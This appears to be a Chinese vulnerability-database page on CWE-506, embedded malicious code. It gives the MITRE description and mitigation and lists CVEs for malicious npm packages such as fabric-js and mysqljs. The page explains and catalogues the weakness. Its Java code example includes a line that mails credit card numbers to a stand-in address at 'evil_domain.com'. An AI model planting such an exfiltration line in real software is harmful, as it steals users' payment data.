目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

目标: 1000 元 · 已筹: 1336 元

100%
请我们喝杯咖啡

CWE-506 内嵌的恶意代码 类漏洞列表 97

CWE-506 内嵌的恶意代码 类弱点 97 条 CVE 漏洞汇总，含 AI 中文分析。

CWE-506指嵌入式恶意代码，属于软件内部植入的隐蔽后门或逻辑炸弹。攻击者通常利用开发者故意插入的代码，在特定条件触发时窃取数据或破坏系统，从而绕过正常安全机制。开发者应通过严格的代码审查、静态分析工具检测异常逻辑，并实施最小权限原则，确保代码来源可信且无未授权的后门植入，以从根本上杜绝此类内部威胁。

MITRE CWE 官方描述
CWE：CWE-506 嵌入式恶意代码（Embedded Malicious Code） 英文：该产品包含本质上看似恶意的代码。 恶意缺陷（Malicious flaws）拥有多种形象化的名称，包括特洛伊木马（Trojan horse）、陷阱门（trapdoor）、时间炸弹（timebomb）和逻辑炸弹（logic-bomb）。开发人员可能会插入恶意代码，意图在未来某个时刻颠覆产品或其宿主系统的安全性。它通常指执行有用服务，但以用户未预期的方式利用程序用户权限的程序。
常见影响 (1)
Confidentiality, Integrity, Availability Execute Unauthorized Code or Commands
缓解措施 (1)
Implementation, Operation Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.
代码示例 (1)
In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.
boolean authorizeCard(String ccn) { // Authorize credit card. ... mailCardNumber(ccn, "evil_developer@evil_domain.com"); }
Bad · Java
CVE ID 标题 CVSS 风险等级 Published
CVE-2017-16053 fabric-js 安全漏洞 — fabric-js node module 7.5 - 2018-06-04
CVE-2017-16054 nodefabric 安全漏洞 — nodefabric node module 7.5 - 2018-06-04
CVE-2017-16055 sqlserver 安全漏洞 — sqlserver node module 7.5 - 2018-06-04
CVE-2017-16044 d3.js 安全漏洞 — d3.js node module 7.5 - 2018-06-04
CVE-2017-16047 mysqljs 安全漏洞 — mysqljs node module 7.5 - 2018-05-29
CVE-2017-16061 tkinter 安全漏洞 — tkinter node module 7.5 - 2018-05-29
CVE-2017-16062 node-tkinter 安全漏洞 — node-tkinter node module 7.5 - 2018-05-29

CWE-506（内嵌的恶意代码） 是常见的弱点类别，本平台收录该类弱点关联的 97 条 CVE 漏洞。